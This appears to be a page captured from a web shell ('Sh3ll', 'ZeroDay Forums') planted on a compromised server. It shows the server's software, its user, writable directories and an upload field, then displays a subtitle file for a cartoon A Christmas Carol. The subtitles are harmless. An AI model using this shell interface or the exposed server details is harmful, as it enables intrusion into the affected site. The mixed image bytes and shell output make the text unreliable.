����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c81e0a9214bd-1552015529.vtt
WEBVTT - https://subtitletools.com

00:02:02.720 --> 00:02:04.563
Merry Christmas.

00:02:04.720 --> 00:02:07.883
Merry Christmas to one and all.

00:02:08.040 --> 00:02:11.567
Give a penny for the poor, governor.
Penny for the poor.

00:02:12.520 --> 00:02:13.885
Bah.

00:02:18.200 --> 00:02:22.125
My partner, Jacob Marley,
dead seven years today.

00:02:22.680 --> 00:02:23.966
Ah, he was a good one.

00:02:24.400 --> 00:02:27.324
He robbed from the widows
and swindled the poor.

00:02:27.400 --> 00:02:28.561
[CHUCKLING]

00:02:29.560 --> 00:02:32.484
In his will, he left me enough money
to pay for his tombstone.

00:02:32.840 --> 00:02:35.810
Ha. And I had him buried at sea.

00:02:40.160 --> 00:02:41.161
Oh, ah, uh.

00:02:41.240 --> 00:02:43.447
Good morning, Mr. Scrooge.

00:02:44.000 --> 00:02:46.765
Cratchit, what are you doing
with that piece of coal?

00:02:47.000 --> 00:02:51.164
I was just trying to
thaw out the ink.

00:02:52.600 --> 00:02:55.080
Bah. You used a piece last week.

00:02:56.840 --> 00:02:59.446
Now, get on with your work,
Cratchit.

00:03:00.920 --> 00:03:04.481
Speaking of work, Mr. Scrooge,
tomorrow is Christmas,

00:03:04.600 --> 00:03:08.321
and I was wondering
if I could have half a day off.

00:03:09.720 --> 00:03:11.006
Christmas, huh?

00:03:14.240 --> 00:03:15.446
I suppose so.

00:03:15.760 --> 00:03:18.286
But I'll dock you half a day's pay.

00:03:18.960 --> 00:03:22.487
Now, let's see,
I pay you two shillings a day.

00:03:22.880 --> 00:03:24.962
Two shillings and a halfpenny, sir.

00:03:25.440 --> 00:03:29.126
Oh, yes. I gave you that
raise three years ago.

00:03:29.280 --> 00:03:31.726
Yes, sir, when I started
doing your laundry.

00:03:32.200 --> 00:03:35.647
All right, Cratchit,
get busy while I go over my books.

00:03:35.800 --> 00:03:38.963
Oh, and here. Here's another
bundle of shirts for you.

00:03:41.000 --> 00:03:42.001
CRATCHIT: Yes, sir.

00:03:45.440 --> 00:03:49.809
Let's see now, 50 pounds,
10 shillings from McDuff.

00:03:50.480 --> 00:03:54.565
Plus his 80% interest
compounded daily.

00:03:54.760 --> 00:03:56.330
[LAUGHING]

00:03:56.520 --> 00:03:58.648
Money, money, money.

00:03:59.840 --> 00:04:01.604
Merry Christmas.

00:04:01.960 --> 00:04:03.803
And a merry Christmas to you,
Master Fred.

00:04:05.040 --> 00:04:06.724
Bah, humbug.

00:04:06.880 --> 00:04:08.882
Merry Christmas, Uncle Scrooge.

00:04:10.200 --> 00:04:12.202
What's so merry about it?

00:04:12.280 --> 00:04:15.682
I'll tell you what Christmas is,
it's just another work day.

00:04:15.760 --> 00:04:20.368
And any jackanapes who thinks else
should be boiled in his own pudding.

00:04:20.520 --> 00:04:21.931
Oh.

00:04:22.080 --> 00:04:24.686
But, sir, Christmas is a
time for giving.

00:04:24.840 --> 00:04:27.286
A time to be with one's family.

00:04:27.640 --> 00:04:29.529
I say, bah, humbug.

00:04:29.680 --> 00:04:33.048
I don't care.
I say, merry Christmas.

00:04:33.200 --> 00:04:35.043
Merry Christmas.

00:04:35.200 --> 00:04:36.690
Well said, Master Fred.

00:04:37.160 --> 00:04:39.208
Cratchit, what are you doing?

00:04:40.360 --> 00:04:44.126
Uh, heh. I was just trying
to keep my hands warm, sir.

00:04:45.480 --> 00:04:46.811
Hmph.

00:04:46.960 --> 00:04:48.689
And what are you doing here, nephew?

00:04:48.840 --> 00:04:54.051
I've come to give you a wreath
and invite you to Christmas dinner.

00:04:54.200 --> 00:04:58.489
Well, I suppose you're going
to have plump goose

00:04:58.560 --> 00:05:00.324
- with chestnut dressing.
- Yup.

00:05:00.480 --> 00:05:03.051
And will you have plum pudding
and lemon sauce?

00:05:03.320 --> 00:05:05.049
Yeah. Boy, oh, boy.

00:05:05.240 --> 00:05:07.402
And candied fruits
with spiced sugar cakes?

00:05:07.560 --> 00:05:09.244
Yeah. Will you come?

00:05:09.400 --> 00:05:10.731
Are you daft, man?

00:05:11.200 --> 00:05:13.089
You know I can't eat that stuff.

00:05:13.240 --> 00:05:16.084
Here's your wreath back.
Now out, out, out.

00:05:18.040 --> 00:05:20.008
Bah, humbug.

00:05:21.400 --> 00:05:23.323
Merry Christmas.

00:05:24.360 --> 00:05:26.362
And a "bah, humbug" to you.

00:05:26.760 --> 00:05:30.207
Ha, ha. That Fred, always
so full of kindness.

00:05:30.480 --> 00:05:33.086
Aye, he always was a little peculiar.

00:05:33.280 --> 00:05:34.281
[BELL RINGING]

00:05:34.360 --> 00:05:35.407
And stubborn.

00:05:36.800 --> 00:05:38.928
Ooh, heh, heh, heh.

00:05:39.080 --> 00:05:41.686
Customers.
I'll handle this, Cratchit.

00:05:42.880 --> 00:05:45.360
Yes, what can I do
for you two gentlemen?

00:05:46.040 --> 00:05:50.364
Sir, we are soliciting funds
for the indigent and destitute.

00:05:50.520 --> 00:05:51.760
For the what?

00:05:52.280 --> 00:05:53.930
We're collecting for the poor.

00:05:54.600 --> 00:05:57.444
Oh. Aha.

00:05:57.600 --> 00:06:01.127
Well, um, you realize
if you give money to the poor,

00:06:01.280 --> 00:06:03.442
they won't be poor anymore,
will they?

00:06:03.600 --> 00:06:06.206
- Well, uh...
- And if they're not poor anymore,

00:06:06.360 --> 00:06:08.408
then you won't have to raise money
for them anymore.

00:06:08.760 --> 00:06:10.046
VVell, I suppose...

00:06:10.120 --> 00:06:13.442
And if you don't have to raise money
for them anymore,

00:06:13.640 --> 00:06:15.802
then you would be out of a job.

00:06:15.880 --> 00:06:19.885
Oh, please, gentlemen,
don't ask me to put you out of a job.

00:06:20.040 --> 00:06:23.886
- Not on Christmas Eve.
- We wouldn't do that, Mr. Scrooge.

00:06:24.120 --> 00:06:28.330
Well, then, I suggest
you give this to the poor and begone.

00:06:33.840 --> 00:06:35.922
What's this world coming to,
Cratchit?

00:06:37.760 --> 00:06:42.766
You work all your life to get money,
and people want you to give it away.

00:06:52.480 --> 00:06:54.482
[BELL TOLLING]

00:07:03.000 --> 00:07:05.480
Hmm. Two minutes fast.

00:07:09.960 --> 00:07:12.247
Well, never mind those two minutes.
You may go now.

00:07:13.520 --> 00:07:16.569
Oh, thank you, sir.
You're so kind.

00:07:17.160 --> 00:07:19.527
Never mind the mushy stuff. Just go.

00:07:19.680 --> 00:07:22.206
But be here all the earlier
the next day.

00:07:22.360 --> 00:07:24.886
I will. I will, sir.
And a "bah humbug..."

00:07:26.520 --> 00:07:29.171
I mean, a merry Christmas
to you, sir.

00:07:32.720 --> 00:07:34.051
Bah.

00:08:19.680 --> 00:08:23.366
Scrooge.

00:08:24.760 --> 00:08:26.250
Jacob Marley?

00:08:26.680 --> 00:08:28.648
No, that can't be.

00:08:31.760 --> 00:08:33.091
Ow.

00:08:34.200 --> 00:08:35.690
Oh. Gosh.

00:08:41.800 --> 00:08:43.165
Bah.

00:09:12.720 --> 00:09:14.529
[LAUGHING]

00:09:15.800 --> 00:09:16.926
[SCREAMING]

00:09:24.320 --> 00:09:25.651
[KNOCKING]

00:09:26.640 --> 00:09:31.851
MARLEY: Ebenezer Scrooge.

00:09:31.920 --> 00:09:33.251
Go away.

00:09:34.800 --> 00:09:38.771
Ebenezer Scrooge...

00:09:38.920 --> 00:09:40.922
[GRUNTING]

00:09:44.840 --> 00:09:46.683
Gosh, kind of slippery.

00:09:50.080 --> 00:09:52.606
Scrooge, don't you recognize me?

00:09:53.000 --> 00:09:55.526
I was your partner, Jacob Marley.

00:09:58.120 --> 00:10:00.885
Marley, it is you.

00:10:01.920 --> 00:10:04.605
Ebenezer, remember when
I was alive,

00:10:04.680 --> 00:10:07.524
I robbed the widows
and swindled the poor?

00:10:07.960 --> 00:10:09.803
Yes, and all in the same day.

00:10:10.040 --> 00:10:13.249
- Oh, you had class, Jacob.
- Heh, heh, heh. Yup.

00:10:13.800 --> 00:10:16.849
No, no. I was wrong.

00:10:17.040 --> 00:10:18.610
And so as punishment,

00:10:18.720 --> 00:10:23.362
I'm forced to carry these heavy
chains through eternity.

00:10:24.640 --> 00:10:26.244
Maybe even longer.

00:10:26.680 --> 00:10:29.684
There's no hope. I'm doomed.

00:10:30.400 --> 00:10:31.606
Doomed.

00:10:31.800 --> 00:10:34.724
And the same thing will
happen to you,

00:10:34.880 --> 00:10:37.087
Ebenezer Scrooge.

00:10:37.400 --> 00:10:39.323
No. No, it can't.

00:10:39.400 --> 00:10:40.322
It mustn't.

00:10:40.640 --> 00:10:42.210
Help me, Jacob.

00:10:42.560 --> 00:10:46.281
Tonight you'll be visited
by three spirits.

00:10:47.080 --> 00:10:49.447
Listen to them, do what they say.

00:10:49.960 --> 00:10:52.691
Or your chains will be heavier
than mine.

00:10:53.720 --> 00:10:56.769
Farewell, Ebenezer.

00:10:58.040 --> 00:10:59.565
[CHUCKLES]

00:11:02.720 --> 00:11:05.769
Farewell.

00:11:05.920 --> 00:11:08.002
Marley, watch out for that first...

00:11:08.600 --> 00:11:10.602
[CRASHING AND MARLEY YELLING]

00:11:13.480 --> 00:11:14.606
...step.

00:11:14.680 --> 00:11:16.011
[CRASH]

00:11:31.160 --> 00:11:33.481
Spirits. Heh.

00:11:39.560 --> 00:11:40.800
Humbug.

00:11:43.640 --> 00:11:45.642
[SCROOGE SNORING]

00:12:00.120 --> 00:12:02.088
SCROOGE: What, what, what?

00:12:03.320 --> 00:12:04.731
[SCROOGE SNORING]

00:12:05.480 --> 00:12:06.811
Ahem.

00:12:07.800 --> 00:12:08.881
What?

00:12:09.720 --> 00:12:14.248
Well, it's about time.
Haven't got all night, you know.

00:12:14.400 --> 00:12:16.164
Who... Who are you?

00:12:16.480 --> 00:12:19.450
Why, I'm the Ghost of Christmas Past.

00:12:22.120 --> 00:12:24.327
Oh, I thought you'd be taller.

00:12:25.120 --> 00:12:28.442
Hmph. Listen, Scrooge,
if men were measured by kindness,

00:12:28.560 --> 00:12:31.530
you'd be no bigger than
a speck of dust.

00:12:34.000 --> 00:12:36.765
Kindness is of little use
in this world.

00:12:37.440 --> 00:12:39.169
You didn't always think so.

00:12:39.240 --> 00:12:42.562
- Come on, Scrooge, it's time to go.
- Then go.

00:12:48.160 --> 00:12:50.606
Spirit, what are you doing?

00:12:51.120 --> 00:12:52.690
We're gonna visit your past.

00:12:53.240 --> 00:12:56.403
I'm not going out there.
I'll fall.

00:12:57.360 --> 00:12:59.647
Just hold on. Whoop.

00:13:00.280 --> 00:13:01.964
Not too tight now.

00:13:05.040 --> 00:13:06.530
SCROOGE: Whoa, oh, oh.

00:13:08.360 --> 00:13:10.010
Spirit, look out!

00:13:17.400 --> 00:13:19.243
What's wrong, Scrooge?

00:13:19.680 --> 00:13:22.809
I thought you enjoyed looking down
on the world.

00:13:30.040 --> 00:13:31.804
[FIDDLE PLAYING MUSIC]

00:13:31.880 --> 00:13:34.565
Spirit, I believe I know this place.

00:13:35.280 --> 00:13:38.409
Yes, it's old Fezzywig's.

00:13:39.560 --> 00:13:42.291
I couldn't have worked
for a kinder man.

00:13:50.360 --> 00:13:54.763
Why, it's old Fezzywig himself.
And all of my very dearest friends.

00:14:01.600 --> 00:14:04.763
And that shy lad in the corner,
that's me.

00:14:06.280 --> 00:14:11.286
Yes, that was before you became
a miserable miser consumed by greed.

00:14:11.440 --> 00:14:13.204
Well, nobody's perfect.

00:14:13.280 --> 00:14:16.602
And there, there's lovely Isabel.

00:14:19.960 --> 00:14:21.246
Ebenezen

00:14:21.680 --> 00:14:24.286
- Ebenezen
- Yes, Isabel?

00:14:24.440 --> 00:14:27.489
My eyes are closed,
my lips are puckered,

00:14:27.760 --> 00:14:30.366
and I'm standing under the mistletoe.

00:14:31.320 --> 00:14:32.810
You're also standing on my foot.

00:14:58.560 --> 00:15:02.610
Oh, I remember
how much I was in love with her.

00:15:05.000 --> 00:15:08.402
In ten years' time,
you learned to love something else.

00:15:08.760 --> 00:15:10.762
Why, it's my counting house.

00:15:10.840 --> 00:15:13.684
SCROOGE: Nine thousand nine
hundred and seventy-two.

00:15:14.160 --> 00:15:15.844
- Nine thousand...
- ISABEL: Ebenezer.

00:15:17.000 --> 00:15:18.604
Yes? What is it?

00:15:19.320 --> 00:15:22.722
For years, I've had this honeymoon
cottage, Ebenezer.

00:15:23.160 --> 00:15:26.767
I've been waiting for you
to keep your promise to marry me.

00:15:26.920 --> 00:15:30.322
Now I must know,
have you made your decision?

00:15:30.680 --> 00:15:34.366
I have. Your last payment on
the cottage was an hour late.

00:15:34.520 --> 00:15:36.124
I'm foreclosing the mortgage.

00:15:38.520 --> 00:15:40.522
[CRYING]

00:15:42.200 --> 00:15:45.090
You loved your gold
more than that precious creature.

00:15:45.640 --> 00:15:47.642
And you lost her forever.

00:15:48.040 --> 00:15:49.610
SCROOGE: Nine thousand nine
hundred and seventy...

00:15:49.680 --> 00:15:51.523
[DOOR SLAMS]

00:15:54.400 --> 00:15:55.447
...three.

00:15:56.200 --> 00:15:59.443
Please, spirit, I can no
longer bear these memories.

00:15:59.640 --> 00:16:00.721
Take me home.

00:16:01.200 --> 00:16:04.761
Remember, Scrooge,
you fashioned these memories yourself.

00:16:12.320 --> 00:16:14.209
Why was I so foolish?

00:16:14.480 --> 00:16:16.130
Why? Why?

00:16:18.000 --> 00:16:19.411
What's this?

00:16:19.800 --> 00:16:25.364
Fee, fi, fo, fum, I smell...

00:16:25.720 --> 00:16:27.529
I mean, I smell

00:16:31.000 --> 00:16:33.082
a stingy little Englishman.

00:16:34.560 --> 00:16:36.050
I think I do.

00:16:37.400 --> 00:16:38.765
Yeah, I do.

00:16:40.000 --> 00:16:41.764
Please, let me go.

00:16:41.840 --> 00:16:43.126
Don't eat me.

00:16:43.520 --> 00:16:47.081
Why would the Ghost
of Christmas Present, that's me,

00:16:47.240 --> 00:16:50.562
want to eat a distasteful little miser
like you?

00:16:51.160 --> 00:16:55.370
Especially when there are so many
good things to enjoy in life. See?

00:16:56.080 --> 00:16:58.811
Ooh. Mince pies.

00:16:59.440 --> 00:17:00.646
Turkeys.

00:17:01.600 --> 00:17:03.170
Suckling Pig-

00:17:03.320 --> 00:17:07.041
And don't forget the chocolate pot roast
with pishmachio...

00:17:07.200 --> 00:17:09.601
Uh, with smishmachio... Uh, with...

00:17:09.760 --> 00:17:11.524
[STAMMERING]

00:17:11.680 --> 00:17:13.125
With yogurt.

00:17:13.280 --> 00:17:15.169
But where did all this come from?

00:17:15.240 --> 00:17:17.049
From the heart, Scrooge.

00:17:19.080 --> 00:17:20.809
It's the food of generosity.

00:17:21.280 --> 00:17:24.045
Which you have long denied
your fellow man.

00:17:24.200 --> 00:17:25.611
Generosity. Ha!

00:17:27.760 --> 00:17:30.730
Nobody has ever shown me generosity.

00:17:30.960 --> 00:17:33.486
You've never given them reason to.

00:17:35.400 --> 00:17:40.645
And yet, there are some who still find
enough warmth in their hearts

00:17:40.960 --> 00:17:42.883
even for the likes of you.

00:17:44.080 --> 00:17:47.721
No acquaintance of mine, I assure you.

00:17:48.000 --> 00:17:49.968
Uh, you'll see.

00:18:12.160 --> 00:18:13.525
[WOMAN SCREAMS]

00:18:20.000 --> 00:18:21.411
Here we are.

00:18:24.920 --> 00:18:27.526
Why did you bring me to this old shack?

00:18:27.680 --> 00:18:32.004
This is the home of your overworked,
underpaid employee, Bob Cratchit.

00:18:36.080 --> 00:18:38.208
SCROOGE: What's she cooking?
A canary?

00:18:38.280 --> 00:18:40.248
Surely they have more food than that.

00:18:41.080 --> 00:18:42.730
Look on the fire.

00:18:44.800 --> 00:18:46.165
SPIRIT 2: That's your laundry.

00:18:49.040 --> 00:18:51.725
Not yet, children.
We must wait for Tiny Tim.

00:18:51.880 --> 00:18:53.166
TIM: Coming, Father.

00:18:53.720 --> 00:18:55.085
I'm coming.

00:19:01.480 --> 00:19:05.451
Oh, my, look at all the wonderful
things to eat.

00:19:07.320 --> 00:19:09.561
We must thank Mr. Scrooge.

00:19:11.080 --> 00:19:14.289
Tell me, spirit,
what's wrong with that kind lad?

00:19:15.360 --> 00:19:17.010
SPIRIT 2: Much, I'm afraid.

00:19:17.200 --> 00:19:19.362
If these shadows remain unchanged,

00:19:20.000 --> 00:19:24.085
I see an empty chair
where Tiny Tim once sat.

00:19:27.960 --> 00:19:31.760
Then that means Tim will...

00:19:32.640 --> 00:19:34.290
Where did they go?

00:19:34.880 --> 00:19:36.882
Spirit, where are you?

00:19:37.360 --> 00:19:39.966
Don't go. You must tell me about Tim.

00:19:41.400 --> 00:19:42.561
Don't go.

00:19:42.720 --> 00:19:43.846
[COUGHING]

00:19:48.880 --> 00:19:50.370
Where did...

00:19:55.520 --> 00:19:56.567
Who are you?

00:19:58.920 --> 00:20:01.526
Are you the Ghost of Christmas Future?

00:20:04.280 --> 00:20:06.123
Please, speak to me.

00:20:06.640 --> 00:20:10.167
Tell me, what will happen to Tiny Tim?

00:20:36.800 --> 00:20:38.404
Oh, no.

00:20:39.120 --> 00:20:41.805
Spirit, I didn't want this to happen.

00:20:41.960 --> 00:20:44.691
Tell me these events
can yet be changed.

00:20:46.120 --> 00:20:48.122
[LAUGHING]

00:20:49.040 --> 00:20:51.850
I've never seen a funeral like this one.

00:20:52.360 --> 00:20:55.887
Aye, no mourners,
no friends to bid him farewell.

00:20:56.400 --> 00:20:59.847
Oh, well, let's rest a minute
afore we fill it in, eh?

00:21:00.120 --> 00:21:02.043
He ain't going nowheres.

00:21:11.200 --> 00:21:12.247
Spirit.

00:21:13.200 --> 00:21:16.522
Whose lonely grave is this?

00:21:20.520 --> 00:21:22.841
Why, yours, Ebenezer.

00:21:23.240 --> 00:21:26.210
The richest man in the cemetery.

00:21:27.080 --> 00:21:28.570
- Ha, ha, ha.
- Please.

00:21:31.360 --> 00:21:32.725
[GASPS]

00:21:35.520 --> 00:21:36.885
No,no,no.

00:21:40.560 --> 00:21:42.562
[LAUGHING]

00:21:45.400 --> 00:21:49.564
I'll change.

00:21:51.080 --> 00:21:54.448
Spirit, let me out, let me out.
I'll... Eh?

00:21:58.080 --> 00:22:00.242
Oh, I'm back in my own room.

00:22:00.400 --> 00:22:02.402
[BELLS TOLLING]

00:22:05.120 --> 00:22:08.806
It's Christmas morning.
I haven't missed it.

00:22:08.880 --> 00:22:11.611
The spirits have given me
another chance.

00:22:13.000 --> 00:22:14.445
Oh, I know just what I'll do.

00:22:14.640 --> 00:22:16.529
They'll be so surprised.

00:22:19.000 --> 00:22:21.571
What a wonderful day. [LAUGHING]

00:22:21.720 --> 00:22:24.451
Oh, there's so much to do.
Oh, so much to do.

00:22:30.760 --> 00:22:32.762
I can't go out like this.

00:22:34.160 --> 00:22:36.003
There, that's better.

00:22:37.120 --> 00:22:39.122
Yay!

00:22:39.320 --> 00:22:41.721
SCROOGE: Merry Christmas
to one and all.

00:22:45.640 --> 00:22:48.644
Well, bless me.
Good morning, gentlemen.

00:22:48.960 --> 00:22:50.962
I have something for you.

00:22:53.200 --> 00:22:56.568
Twenty gold sovereigns. Oh, no.

00:22:56.880 --> 00:22:59.008
Not enough? Well, all right.

00:22:59.720 --> 00:23:01.609
Fifty gold sovereigns.

00:23:02.080 --> 00:23:05.562
- Really, Mr. Scrooge, it's...
- SCROOGE: Still not enough?

00:23:05.720 --> 00:23:08.724
Aye, you drive a hard bargain.
Here you are.

00:23:09.480 --> 00:23:11.323
One hundred gold pieces.

00:23:11.400 --> 00:23:13.880
And not a penny more.
Not a penny more.

00:23:13.960 --> 00:23:17.123
Oh, thank you, Mr. Scrooge.
Thank you.

00:23:17.280 --> 00:23:19.965
And a merry Christmas to you.

00:23:20.440 --> 00:23:21.851
[LAUGHING]

00:23:22.040 --> 00:23:25.249
Merry Christmas. Merry Christmas.
Merry Christmas.

00:23:30.040 --> 00:23:31.769
Oh, nephew.

00:23:32.320 --> 00:23:33.890
Uncle Scrooge.

00:23:34.200 --> 00:23:37.522
I'm looking forward
to that wonderful meal of yours.

00:23:37.920 --> 00:23:39.763
Well, I'll be doggone.

00:23:39.840 --> 00:23:41.444
You mean you're coming?

00:23:41.600 --> 00:23:42.761
Of course I am.

00:23:42.840 --> 00:23:46.845
You know how much I like candied fruits
with spiced sugar cakes.

00:23:47.760 --> 00:23:50.969
I'll be over promptly at 2:00.
Keep it piping hot.

00:23:51.440 --> 00:23:53.841
I will, Uncle Scrooge. I will.

00:23:54.000 --> 00:23:57.288
And a very merry Christmas to you.

00:23:58.800 --> 00:24:01.406
SCROOGE: Merry Christmas,
and keep the change.

00:24:03.080 --> 00:24:04.605
Wonderful lads.

00:24:05.760 --> 00:24:07.683
And now for Cratchit.

00:24:10.640 --> 00:24:12.005
[CLEARS THROAT]

00:24:16.360 --> 00:24:19.045
Why, Mr. Scrooge.
Uh, merry Christmas.

00:24:20.880 --> 00:24:23.884
- Won't you come in?
- Merry Christmas. Huh.

00:24:24.400 --> 00:24:26.687
I have another bundle for you.

00:24:29.160 --> 00:24:31.162
But, sir, it's Christmas day.

00:24:31.360 --> 00:24:33.249
Christmas day, indeed.

00:24:33.720 --> 00:24:36.246
Just another excuse for being lazy.

00:24:36.880 --> 00:24:38.245
And another thing, Cratchit.

00:24:38.760 --> 00:24:41.525
I've had enough of this
half-day-off stuff.

00:24:41.880 --> 00:24:46.681
You leave me no alternative
but to give you...

00:24:46.880 --> 00:24:48.962
- Toys.
- Yes, toys.

00:24:49.120 --> 00:24:50.485
No,no,no.

00:24:50.720 --> 00:24:55.203
I'm giving you a raise,
and making you my partner.

00:24:55.560 --> 00:24:56.925
A Partner?

00:24:58.400 --> 00:25:00.323
Oh, thank you, Mr. Scrooge.

00:25:01.440 --> 00:25:03.044
Merry Christmas, Bob.

00:25:03.200 --> 00:25:06.647
And God bless us, every one.

ZeroDay Forums Mini